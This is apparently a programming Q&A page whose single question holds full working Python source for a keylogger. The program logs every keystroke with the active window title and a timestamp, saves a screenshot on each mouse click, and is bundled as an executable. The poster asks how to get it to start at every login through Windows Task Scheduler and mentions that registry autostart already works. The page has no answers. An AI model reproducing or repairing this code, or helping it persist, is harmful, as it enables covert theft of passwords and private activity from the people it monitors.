pmatheus
pmatheus

Reputation: 1

Python Keylogger don't work if you run it from Windows task scheduler

I've written a simple keylogger in Python and it works perfectly until.... I try to schedule it to run on every log in. The program simply can't hook mouse and keyboard if I use the default Microsoft Windows Task Scheduler. I've managed to run it on log in using the Windows registry. But I found no solution to simply run it as a task.

Here is the code:

from pynput import keyboard
from pynput import mouse
import logging
from win32gui import GetWindowText, GetForegroundWindow
from datetime import datetime
from pathlib import Path
import time
window = ""

def writetofile(key):
    global window
    current_window = GetWindowText(GetForegroundWindow())
    with open("c:\\keylogger\\pynput.txt", 'a') as f:
        if current_window != window:
            window = current_window
            f.write("\n===[[[ {0} - {1} ]]]===\n".format(window,datetime.now().strftime("%Y-%m-%d %H:%M:%S"))) 
        if hasattr(key,'char'):
            f.write("{0}".format(key.char))
        else:
            k = str(key)
            k = k.split(".")
            k = k[-1]
            f.write("[{0}]".format(k))

def screenshot():
    from PIL import ImageGrab

    filename = "{0}.jpg".format(int(time.time()))
    save_path = Path("c:\\keylogger") / filename
    ImageGrab.grab().save(save_path, 'JPEG', optimize=True, quality=50)

def onclick(x,y,button,pressed):
    screenshot()

# kb_listenter = keyboard.Listener(on_press=writetofile)
# kb_listenter.start()

with mouse.Listener(on_click=onclick) as m_l:
    with keyboard.Listener(on_press=writetofile) as kb_l:
        kb_l.join()
        m_l.join()

To make it a single .exe I just used vanilla pyinstaller.

Upvotes: 0

Views: 343

Answers (0)

Related Questions